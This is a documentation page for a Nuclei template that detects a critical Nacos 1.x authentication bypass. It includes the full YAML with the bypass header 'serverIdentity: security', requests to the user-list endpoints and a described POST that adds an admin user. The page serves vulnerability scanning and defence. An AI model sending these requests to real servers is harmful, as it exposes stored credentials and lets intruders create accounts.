Nacos 1.x - Authentication Bypass
ID: nacos-auth-bypass
Severity: critical
Author: taielab,pikpikcu,SleepingBag945
Tags: nacos,auth-bypass
Description
Section titled “Description”Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data.
YAML Source
Section titled “YAML Source”id: nacos-auth-bypass
info: name: Nacos 1.x - Authentication Bypass author: taielab,pikpikcu,SleepingBag945 severity: critical description: | Nacos 1.x was discovered. A default Nacos instance needs to modify the application.properties configuration file or add the JVM startup variable Dnacos.core.auth.enabled=true to enable the authentication function (reference: https://nacos.io/en-us/docs/auth.html). But authentication can still be bypassed under certain circumstances and any interface can be called as in the following example that can add a new user (POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test). That user can then log in to the console to access, modify, and add data. reference: - https://github.com/alibaba/nacos/issues/4593 - https://nacos.io/en-us/docs/auth.html - https://zhuanlan.zhihu.com/p/602021283 classification: cpe: cpe:2.3:a:alibaba:nacos:*:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: alibaba product: nacos fofa-query: app="NACOS" tags: nacos,auth-bypass
http: - method: GET path: - "{{BaseURL}}/nacos/v1/auth/users?pageNo=1&pageSize=9" - "{{BaseURL}}/v1/auth/users?pageNo=1&pageSize=9"
headers: serverIdentity: security stop-at-first-match: true
matchers-condition: and matchers: - type: word part: body words: - '"totalCount":' - '"username":' - '"password":' - '"pagesAvailable":' condition: and
- type: word part: header words: - application/json
- type: status status: - 200# digest: 4a0a00473045022100aa8d5a9bf6c2f0eb891df6cd997858b4f79c2a61dcc8714fa5b2177ac25b1aff02205c9c8d7068d45a3b7c3c65e8aa99349ac1d4c816af54fe7501fd57b0bb184d2e:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/nacos-auth-bypass.yaml"